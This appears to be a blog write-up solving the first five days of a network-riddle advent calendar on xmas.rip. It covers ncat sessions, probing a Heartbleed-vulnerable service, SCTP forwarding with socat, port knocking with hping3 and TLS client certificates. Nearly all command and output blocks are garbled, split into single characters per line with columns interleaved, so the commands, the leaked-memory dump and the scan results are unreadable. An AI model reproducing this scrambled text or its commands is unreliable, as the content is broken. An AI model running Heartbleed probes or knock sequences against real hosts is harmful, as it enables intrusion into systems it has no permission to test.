Introduction#
There was an advent calendar on http://xmas.rip/ that had a little network riddle every day:
The riddles are very fun. I solved all except for the one on day 22.
Here are my solutions.
1/TCP#
Day 1:
Connect to port 1 using ncat and the -C option to send proper CRLF linebreaks. Sadly, the service does not support the HELP command that would output all services:
$
H
-
N
E
S
c
n
L
e
a
c
P
r
t
a
v
:
t
i
c
B
-
e
r
C
o
n
k
x
a
e
m
m
n
a
e
s
p
.
n
i
r
o
p
i
t
e
p
.
f
1
o
u
n
d
Start the wishlist service using the wishlist command:
$
w
+
W
A
P
h
K
S
L
N
i
G
e
l
e
K
a
h
e
c
n
s
o
l
n
e
l
T
n
e
t
a
c
h
,
S
`
c
e
a
l
H
t
l
'
t
a
l
'
a
.
o
w
s
o
X
a
l
s
:
t
i
,
n
`
m
e
B
o
s
-
t
.
e
w
y
Y
r
s
B
-
t
"
a
_
i
a
o
E
e
y
e
r
C
'
`
t
s
d
u
c
o
e
o
s
-
o
h
d
e
u
k
x
l
i
w
e
m
,
'
w
S
i
n
v
h
n
a
-
"
i
a
s
e
e
a
s
"
s
n
t
w
d
t
p
.
h
t
i
r
Y
_
l
a
h
i
t
S
p
i
,
`
i
'
a
t
h
a
e
p
'
-
"
s
s
s
e
e
n
.
"
t
m
t
1
`
w
b
s
f
a
s
i
e
o
e
s
e
t
l
c
r
h
n
o
l
a
`
"
v
_
l
o
n
.
i
,
i
c
y
w
c
'
s
r
o
i
d
`
e
,
t
e
u
n
o
,
!
'
a
r
g
s
t
f
e
e
l
l
o
r
d
i
i
r
v
s
s
i
f
t
t
y
c
o
,
:
o
e
r
u
!
o
,
y
r
o
b
u
w
y
.
r
e
i
t
b
e
y
e
K
!
K
T
H
X
B
Y
E
t
o
f
i
n
i
s
h
y
o
u
r
l
i
s
t
:
2/TCP#
Day 2:
This service is vulnerable against Heartbleed:
$
I
I
I
m
m
v
m
R
m
R
m
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
I
I
s
s
e
s
H
s
P
s
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
+
*
*
*
*
m
I
I
I
I
I
I
l
f
f
r
f
O
f
O
f
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
.
]
]
]
s
I
I
I
I
I
I
o
b
S
R
a
f
I
I
v
>
a
o
a
T
a
T
a
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
p
S
S
A
c
I
I
e
u
s
u
S
u
u
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
p
c
c
u
o
-
-
-
u
x
e
x
x
=
x
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
y
a
a
x
n
s
=
=
=
=
s
i
i
=
i
>
i
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
n
n
i
s
h
[
[
[
[
e
l
=
l
>
l
l
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
5
1
n
n
l
o
4
6
'
e
i
>
i
i
2
i
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
s
e
e
i
l
d
'
.
T
'
l
m
1
5
F
a
a
a
x
a
a
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
6
t
d
d
a
e
T
;
T
'
l
e
8
3
r
u
r
t
r
m
r
r
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
8
r
b
.
;
Y
s
t
0
8
e
x
y
r
y
a
y
y
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
a
1
2
y
.
v
a
0
e
i
(
u
(
s
(
(
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
d
d
.
;
P
s
p
l
s
e
s
.
s
s
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
v
o
o
m
T
;
P
'
-
p
e
a
M
i
c
c
r
c
c
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
7
e
f
f
o
b
'
.
P
'
e
l
x
y
e
a
a
a
i
a
a
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
n
d
B
P
'
g
o
p
l
t
r
n
n
p
n
n
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
2
t
2
2
u
y
i
l
o
a
y
n
n
n
n
l
p
t
o
a
s
/
e
e
e
e
a
h
h
e
:
t
i
d
p
s
r
r
r
r
n
o
o
`
v
t
s
l
c
/
/
/
/
d
s
s
e
'
.
4
s
o
a
s
s
s
s
t
t
x
"
`
.
-
i
n
s
s
s
s
M
s
s
e
"
1
-
t
n
l
l
l
l
e
c
.
7
4
e
/
/
/
/
r
(
(
u
'
.
1
1
P
r
o
o
o
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
r
5
1
t
5
0
r
p
p
p
p
y
0
0
i
-
2
e
o
s
e
e
e
e
S
S
S
S
S
S
H
H
P
%
0
o
d
1
n
s
n
n
n
n
e
S
T
V
L
H
S
T
V
L
H
S
T
V
L
H
S
T
V
L
H
e
e
e
r
C
%
n
`
e
c
t
l
s
s
s
s
n
L
y
e
e
a
L
T
S
S
S
S
L
y
e
e
a
L
T
C
D
C
C
L
y
e
e
a
L
T
L
y
e
e
a
L
T
n
a
a
i
h
c
.
v
a
o
r
/
s
s
s
s
d
p
r
n
n
e
y
e
e
e
e
p
r
n
n
e
y
e
a
e
C
C
e
C
C
p
r
n
n
e
y
p
r
n
n
e
y
d
r
r
n
r
o
c
c
"
`
u
d
i
o
l
l
l
l
i
r
e
s
g
d
n
p
r
r
r
r
r
e
s
g
d
n
p
r
t
r
e
e
r
e
e
r
e
s
g
d
n
p
r
e
s
g
d
n
p
i
t
t
t
i
m
o
o
"
.
x
e
a
p
_
_
_
_
n
e
:
i
t
s
g
e
v
v
v
v
e
:
i
t
s
g
e
t
a
t
r
r
t
r
r
e
:
i
t
s
g
e
e
:
i
t
s
g
e
n
b
b
a
s
p
m
m
'
`
i
r
l
e
h
h
h
h
g
c
o
h
h
t
:
e
e
e
e
c
o
h
h
t
:
i
i
t
t
i
t
t
c
o
h
h
t
:
c
o
h
h
t
:
g
e
e
b
t
l
p
p
.
.
l
s
:
n
e
e
e
e
o
n
:
a
h
r
r
r
r
o
n
:
a
h
f
l
f
i
i
f
i
i
o
n
:
a
h
o
n
:
a
h
a
a
l
m
e
l
l
:
'
i
s
a
a
a
a
C
r
:
k
:
r
:
k
:
i
e
i
f
f
i
f
f
r
:
k
:
r
:
k
:
H
t
t
e
a
t
e
e
a
-
h
s
r
r
r
r
l
d
e
H
H
H
H
d
e
c
n
c
i
i
c
i
i
d
e
d
e
e
s
e
t
t
r
t
l
t
t
t
t
i
2
0
8
8
S
e
e
e
e
2
0
2
2
C
a
g
a
c
c
a
c
c
2
0
3
3
S
2
0
4
0
S
a
r
r
i
!
)
e
e
y
1
t
_
b
b
b
b
e
#
2
x
6
#
2
e
l
l
l
l
#
2
x
5
#
5
e
t
t
t
a
a
t
a
a
#
2
x
3
#
2
e
#
2
x
#
e
r
e
e
n
.
)
d
0
p
h
l
l
l
l
n
1
0
1
r
l
l
l
l
2
0
7
1
6
r
e
h
e
t
t
e
t
t
3
0
1
1
7
r
4
0
1
r
t
s
s
f
H
-
:
e
e
e
e
e
t
:
3
:
v
o
o
o
o
:
3
3
:
9
t
s
:
e
e
e
e
:
3
:
v
:
3
:
v
b
p
p
o
a
n
a
e
e
e
e
0
e
0
i
#
#
0
e
0
e
e
o
o
p
3
/
r
d
d
d
d
H
1
r
V
r
S
S
1
f
l
2
1
#
#
2
#
#
1
r
1
r
a
n
n
l
p
1
p
r
t
)
)
)
)
e
e
a
e
e
i
e
5
:
1
1
:
2
2
t
s
s
e
y
1
s
-
b
l
H
r
n
s
s
c
n
6
:
:
:
:
K
H
.
e
e
a
7
l
>
>
>
>
l
e
s
d
s
s
a
g
9
e
e
.
,
k
1
p
.
e
o
l
i
o
i
i
t
t
L
#
L
#
y
l
.
w
e
s
o
c
e
s
s
s
e
.
l
o
m
o
o
e
h
e
,
e
,
l
6
i
d
t
s
o
d
e
e
e
x
.
o
n
n
n
:
n
n
E
o
5
t
:
t
/
t
t
t
p
.
:
d
D
g
i
g
i
x
5
h
a
t
l
(
a
I
I
a
2
t
s
t
s
c
D
3
d
r
v
R
R
o
2
t
D
D
t
5
h
s
h
s
h
o
5
l
v
y
e
H
P
i
)
a
:
a
6
:
u
:
u
a
n
e
e
m
r
O
O
t
:
l
6
e
e
n
e
b
a
n
s
b
S
R
e
(
1
r
1
r
g
y
k
t
p
o
T
T
n
1
3
=
1
=
e
(
t
s
S
g
1
8
#
7
#
1
e
a
]
]
]
]
e
2
t
)
6
,
4
,
(
4
s
n
x
h
1
)
d
t
m
:
s
s
2
r
a
e
e
)
M
u
s
0
4
3
f
r
r
e
e
.
x
e
2
2
i
i
r
r
0
1
5
a
a
r
i
3
2
0
l
l
y
p
0
4
d
=
=
1
b
d
#
#
C
0
5
,
,
h
d
2
r
e
a
n
n
i
4
b
o
o
s
c
8
t
t
t
4
8
_
_
m
5
2
b
b
a
d
6
e
e
s
9
9
f
f
!
9
8
o
o
.
f
4
r
r
H
c
f
e
e
a
b
4
=
=
p
8
9
2
2
p
a
d
0
0
y
0
9
1
1
9
f
8
6
1
1
b
-
-
s
7
e
1
0
t
8
5
1
3
b
1
-
-
a
d
4
2
1
d
c
7
9
7
v
6
4
e
a
7
2
1
n
6
2
0
6
t
a
2
:
:
4
d
0
4
a
0
e
2
0
n
0
3
:
:
d
0
f
5
4
4
a
2
6
M
f
7
e
c
a
U
U
r
b
6
T
T
r
a
d
C
C
y
d
8
,
,
3
a
C
8
4
n
n
h
8
c
o
o
r
4
0
t
t
i
3
d
_
_
s
7
f
a
a
t
e
2
f
f
m
2
4
t
t
a
7
6
e
e
s
8
d
r
r
!
7
3
=
=
.
3
a
2
2
H
7
f
0
0
a
c
2
1
2
p
7
b
9
1
p
1
c
-
-
y
c
7
0
0
f
c
2
3
1
3
1
-
-
s
b
2
2
1
t
0
9
7
7
a
2
1
d
0
6
v
:
:
e
0
4
n
2
0
t
:
:
5
4
a
2
6
n
d
U
U
T
T
M
C
C
e
>
>
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
.
H
a
p
p
y
1
s
t
a
d
v
e
n
t
a
n
d
M
e
r
r
y
C
h
r
i
s
t
m
a
s
!
[
C
U
T
]
3/SCTP#
Day 3:
Create a local TCP socket on port 1234 that forwards the traffic to xmas.rip on port 3 via sctp:
$
s
o
c
a
t
T
C
P
-
L
I
S
T
E
N
:
1
2
3
4
,
f
o
r
k
S
C
T
P
-
C
O
N
N
E
C
T
:
x
m
a
s
.
r
i
p
:
3
Connect to the local socket:
$
Y
a
c
y
u
,
r
l
H
T
l
T
o
P
c
a
l
v
h
e
o
r
s
t
S
:
C
1
T
2
P
3
4
i
s
a
m
a
z
i
n
g
!
H
e
a
d
v
e
r
t
o
/
x
m
a
s
t
o
g
e
t
x
m
a
s
.
r
i
p
v
i
a
S
C
T
P
!
!
This can also be used in the browser:
Configuring that port 3 is the HTTP protocol in SCTP:
Dissected HTTP in SCTP traffic in Wireshark:
The ncat tool from the nmap project does also directly support SCTP:
$
G
H
H
S
D
C
C
C
C
Y
E
o
T
e
a
o
o
o
o
a
n
T
s
T
r
t
n
n
n
n
y
c
t
P
e
t
t
n
t
,
a
/
:
/
e
:
e
e
e
e
t
1
r
n
n
c
n
H
H
x
.
:
F
t
t
t
t
T
T
m
1
r
-
-
i
-
T
-
T
a
n
i
T
L
o
T
P
s
P
s
2
g
,
y
e
n
y
c
/
.
0
i
p
n
:
p
t
1
r
0
n
1
e
g
e
v
p
.
i
x
4
:
t
k
:
e
1
p
O
h
e
r
x
K
D
a
:
e
t
m
e
p
p
e
S
a
c
p
1
-
x
C
s
l
6
a
t
T
.
2
i
9
l
/
P
r
0
c
i
p
i
1
a
v
l
i
p
8
t
e
a
s
i
i
3
2
o
n
a
1
n
m
:
/
a
5
o
z
1
c
i
:
t
n
3
e
g
7
t
!
-
G
s
H
M
t
e
T
r
a
e
d
a
m
v
e
r
t
o
/
x
m
a
s
t
o
g
e
t
x
m
a
s
.
r
i
p
v
i
a
S
C
T
P
!
!
4/TCP#
Day 4:
Port 4 is closed:
$
S
N
H
O
P
4
N
t
m
o
t
O
/
m
n
a
a
s
h
R
t
a
m
r
p
t
e
T
c
p
a
t
r
p
p
i
s
i
d
n
c
s
a
S
c
o
-
g
a
d
T
l
n
n
n
u
d
A
o
e
N
p
r
T
s
:
-
m
r
e
E
e
P
a
e
(
s
d
1
n
p
p
0
s
o
.
e
S
u
I
-
7
r
0
s
E
n
P
p
.
t
2
R
k
7
5
f
V
n
a
4
0
f
s
o
I
o
d
o
r
C
w
d
x
(
r
l
E
n
r
m
a
x
e
a
h
x
t
m
s
s
t
m
e
a
s
.
t
a
n
s
r
p
s
c
.
(
i
s
.
y
r
1
p
:
r
)
i
/
i
.
p
h
/
p
o
n
(
s
m
(
n
t
a
5
o
p
1
t
u
.
.
p
o
7
s
)
r
5
c
g
.
a
s
6
n
c
)
8
n
a
.
e
n
a
2
d
n
t
2
)
e
7
:
d
2
)
0
2
i
1
0
n
8
0
-
1
0
1
:
.
2
4
0
-
1
8
0
d
4
0
s
:
e
2
7
c
2
0
o
:
1
n
0
:
d
6
1
s
1
C
0
E
0
T
:
:
2
0
7
c
The PCAP shows that santa first connected to xmas.rip on port 443 and was also not able to access port 4. After sending some SYN packets to port 42, 23, 16, 15 and 8, he was able to access port 4:
This is called port knocking.
Doing the same:
$
d
d
H
l
1
r
H
l
1
r
H
l
1
r
H
l
1
r
H
l
1
r
H
l
1
r
o
o
P
e
o
P
e
o
P
e
o
P
e
o
P
e
o
P
e
o
f
s
s
n
I
n
p
u
I
n
p
u
I
n
p
u
I
n
p
u
I
n
p
u
I
n
p
u
o
u
l
e
N
=
a
n
N
=
a
n
N
=
a
n
N
=
a
n
N
=
a
n
N
=
a
n
r
d
e
G
4
x
c
d
G
4
x
c
d
G
4
x
c
d
G
4
x
c
d
G
4
x
c
d
G
4
x
c
d
o
e
0
m
k
-
0
m
k
-
0
m
k
-
0
m
k
-
0
m
k
-
4
m
k
-
p
p
x
a
e
t
x
a
e
t
x
a
e
t
x
a
e
t
x
a
e
t
x
a
e
t
o
h
m
i
s
t
r
m
i
s
t
r
m
i
s
t
r
m
i
s
t
r
m
i
s
t
r
m
i
s
t
r
r
p
1
a
p
.
s
i
a
p
.
s
i
a
p
.
s
i
a
p
.
s
i
a
p
.
s
i
a
p
.
s
i
t
i
s
=
r
p
s
=
r
p
s
=
r
p
s
=
r
p
s
=
r
p
s
=
r
p
n
.
5
i
t
.
5
i
t
.
5
i
t
.
5
i
t
.
5
i
t
.
5
i
t
i
g
r
1
p
r
m
r
1
p
r
m
r
1
p
r
m
r
1
p
r
m
r
1
p
r
m
r
1
p
r
m
n
i
.
a
i
i
.
a
i
i
.
a
i
i
.
a
i
i
.
a
i
i
.
a
i
-
p
7
h
m
n
p
7
h
m
n
p
7
h
m
n
p
7
h
m
n
p
7
h
m
n
p
7
h
m
n
4
S
5
p
i
/
5
p
i
/
5
p
i
/
5
p
i
/
5
p
i
/
5
p
i
/
2
(
.
i
t
a
(
.
i
t
a
(
.
i
t
a
(
.
i
t
a
(
.
i
t
a
(
.
i
t
a
-
w
6
n
t
v
w
6
n
t
v
w
6
n
t
v
w
6
n
t
v
w
6
n
t
v
w
6
n
t
v
2
p
l
8
g
e
g
l
8
g
e
g
l
8
g
e
g
l
8
g
e
g
l
8
g
e
g
l
8
g
e
g
3
p
.
d
/
p
.
d
/
p
.
d
/
p
.
d
/
p
.
d
/
p
.
d
/
$
4
2
s
,
m
4
2
s
,
m
4
2
s
,
m
4
2
s
,
m
4
2
s
,
m
4
2
s
,
m
1
p
s
2
t
a
s
2
t
a
s
2
t
a
s
2
t
a
s
2
t
a
s
2
t
a
6
o
0
7
a
1
x
0
7
a
1
x
0
7
a
1
x
0
7
a
1
x
0
7
a
1
x
0
7
a
1
x
r
t
t
t
t
t
t
1
t
5
t
i
p
=
5
t
i
p
=
5
t
i
p
=
5
t
i
p
=
5
t
i
p
=
5
t
i
p
=
5
1
t
s
a
1
t
s
a
1
t
s
a
1
t
s
a
1
t
s
a
1
t
s
a
-
.
l
t
c
4
.
l
t
c
2
.
l
t
c
2
.
l
t
c
2
.
l
t
c
2
.
l
t
c
2
8
c
7
=
i
k
6
7
=
i
k
6
7
=
i
k
9
7
=
i
k
5
7
=
i
k
7
7
=
i
k
8
5
4
c
e
.
5
4
c
e
.
5
4
c
e
.
5
4
c
e
.
5
4
c
e
.
5
4
c
e
.
4
1
.
7
t
7
.
6
t
4
.
6
t
6
.
6
t
9
.
6
t
9
.
7
t
7
6
s
6
s
6
s
6
s
6
s
6
s
/
x
8
D
4
8
D
2
8
D
2
8
D
2
8
D
2
8
D
2
m
.
F
r
6
.
F
r
6
.
F
r
9
.
F
r
5
.
F
r
7
.
F
r
8
a
2
e
.
2
e
.
2
e
.
2
e
.
2
e
.
2
e
.
s
2
i
c
7
2
i
c
4
2
i
c
6
2
i
c
9
2
i
c
9
2
i
c
7
.
7
d
e
/
7
d
e
/
7
d
e
/
7
d
e
/
7
d
e
/
7
d
e
/
r
)
=
i
4
)
=
i
2
)
=
i
2
)
=
i
2
)
=
i
2
)
=
i
2
i
:
6
v
6
:
6
v
6
:
6
v
9
:
6
v
5
:
6
v
7
:
0
v
8
p
0
e
.
1
e
.
3
e
.
5
e
.
7
e
.
e
.
S
0
d
7
S
8
d
4
S
2
d
6
S
7
d
9
S
3
d
9
S
s
d
7
1
,
8
,
3
,
0
,
9
,
p
,
s
m
s
m
s
m
s
m
s
m
s
o
m
e
s
0
s
e
s
0
s
e
s
0
s
e
s
0
s
e
s
0
s
e
r
0
s
t
p
%
t
p
%
t
p
%
t
p
%
t
p
%
t
t
%
,
o
,
o
,
o
,
o
,
o
,
=
r
p
r
p
r
p
r
p
r
p
4
p
4
t
a
4
t
a
4
t
a
4
t
a
4
t
a
4
a
0
=
c
0
=
c
0
=
c
0
=
c
0
=
c
0
f
c
4
k
2
k
1
k
1
k
8
k
l
k
h
2
e
h
3
e
h
6
e
h
5
e
h
e
h
a
e
e
t
e
t
e
t
e
t
e
f
t
e
g
t
a
f
a
f
a
f
a
f
a
l
a
s
d
l
l
d
l
l
d
l
l
d
l
l
d
a
l
d
=
l
e
a
o
e
a
o
e
a
o
e
a
o
e
g
o
e
S
o
r
g
s
r
g
s
r
g
s
r
g
s
r
s
s
r
A
s
s
s
s
s
s
s
s
s
s
s
s
s
s
=
s
s
s
=
=
=
=
R
s
+
R
+
R
+
R
+
R
+
A
+
e
A
A
A
A
q
0
0
0
0
0
s
0
=
s
s
s
s
e
0
d
e
d
e
d
e
d
e
d
q
d
a
q
a
q
a
q
a
q
a
=
a
w
t
=
t
=
t
=
t
=
t
0
t
i
a
0
a
0
a
0
a
0
a
a
n
w
=
b
w
b
w
b
w
b
w
b
i
b
2
y
i
y
i
y
i
y
i
y
n
y
9
t
n
t
n
t
n
t
n
t
=
t
2
e
=
e
=
e
=
e
=
e
0
e
0
s
0
s
0
s
0
s
0
s
s
0
r
r
r
r
r
t
r
t
t
t
t
t
t
t
t
t
t
=
t
=
=
=
=
2
=
4
2
2
2
7
2
6
6
9
5
.
8
.
.
.
.
9
.
7
4
6
9
7
m
m
m
m
m
s
m
s
s
s
s
s
The port is now open:
$
S
N
H
O
P
4
N
t
m
o
t
O
/
m
n
a
a
s
h
R
t
a
m
r
p
t
e
T
c
p
a
t
r
p
p
i
s
i
d
n
c
s
a
S
o
o
-
g
a
d
T
p
n
n
n
u
d
A
e
e
N
p
r
T
n
:
-
m
r
e
E
P
a
e
(
s
1
n
p
p
0
s
S
u
o
.
e
E
n
I
-
7
r
0
s
R
k
P
p
.
t
2
V
n
7
4
f
I
o
a
4
0
f
s
o
C
w
d
o
r
E
n
d
x
(
r
l
r
m
a
x
e
a
h
x
t
m
s
s
t
m
e
a
s
.
t
a
n
s
r
p
s
c
.
(
i
s
.
y
r
1
p
:
r
)
i
/
i
.
p
h
/
p
o
n
(
s
m
(
n
t
a
5
o
p
1
t
u
.
.
p
o
7
s
)
r
5
c
g
.
a
s
6
n
c
)
8
n
a
.
e
n
a
2
d
n
t
2
)
e
7
:
d
2
)
0
2
i
1
0
n
8
0
-
1
0
1
:
.
2
4
0
-
1
8
0
d
4
0
s
:
e
2
7
c
2
0
o
:
1
n
0
:
d
7
1
s
1
C
0
E
0
T
:
:
2
0
7
c
Accessing the service:
$
Y
-
o
j
c
u
g
u
s
r
u
-
l
n
-
c
-
h
o
t
v
t
e
p
r
_
:
e
`
/
d
_
L
/
;
x
S
`
_
m
a
;
;
a
n
_
`
`
s
t
;
;
_
/
.
a
;
_
`
`
r
'
_
;
.
/
-
i
s
,
`
`
`
=
p
-
,
=
:
L
-
\
.
=
4
o
,
;
_
_
/
s
`
{
;
`
'
t
.
_
\
`
'
'
{
_
_
(
-
s
`
`
_
_
)
`
e
H
}
/
'
C
}
\
c
A
`
_
`
`
'
'
_
r
N
_
_
'
.
`
_
e
G
_
_
e
_
t
S
_
.
_
!
I
A
.
;
e
.
N
N
{
`
`
T
}
\
{
T
A
}
`
_
H
.
E
'
R
}
;
E
5/TCP#
Day 5:
Visiting the page with a browser:
When the TLS connection is established, the server tells the client, that a
client certificate can be sent and which algorithms are supported. The message
No client certificate CA names sent indicates that the server accepts client
certificates but does not tell the client from which CA they must be issued. It
could be issued by any arbitrary CA.
$
C
d
v
d
v
d
v
C
S
M
M
E
O
A
h
S
T
d
n
D
B
H
K
K
A
c
B
g
F
4
t
b
j
j
5
1
r
f
s
i
N
C
R
S
P
P
S
S
V
N
S
S
C
E
N
S
G
H
H
S
D
C
C
C
C
T
Q
D
O
e
e
e
e
e
e
e
0
1
e
I
E
x
T
Q
7
i
e
v
J
g
g
S
w
w
1
D
w
f
g
K
2
1
A
G
k
L
2
3
u
s
o
l
e
h
e
e
e
S
e
e
e
e
o
x
o
S
E
o
T
e
a
o
o
o
H
H
U
O
o
N
p
r
p
r
p
r
r
r
I
o
p
A
E
0
o
e
J
N
Y
N
M
Y
Y
U
B
I
Q
Y
b
+
L
8
A
B
m
I
s
b
s
i
q
a
e
e
r
L
r
w
r
c
m
p
L
T
s
T
r
t
n
n
n
R
E
I
N
p
N
t
i
t
i
t
i
t
s
i
s
i
v
F
x
M
y
F
2
y
k
a
7
D
V
E
B
B
d
M
B
E
A
E
/
E
z
4
c
v
7
i
j
u
c
e
u
r
r
r
v
i
,
v
u
p
a
A
-
t
P
e
t
t
n
I
T
E
e
E
h
f
h
f
h
f
i
:
:
:
:
e
-
Z
C
Z
M
A
L
R
+
3
m
V
H
G
B
B
E
B
F
g
A
U
W
6
j
l
c
G
K
b
-
e
e
l
n
e
e
e
h
f
e
r
r
n
L
S
P
C
S
S
M
P
P
S
T
T
0
0
0
0
0
0
0
0
0
0
0
0
S
T
V
E
/
:
/
e
:
e
e
e
S
P
n
C
=
y
=
y
=
y
f
C
C
C
O
r
B
j
z
X
j
A
M
R
P
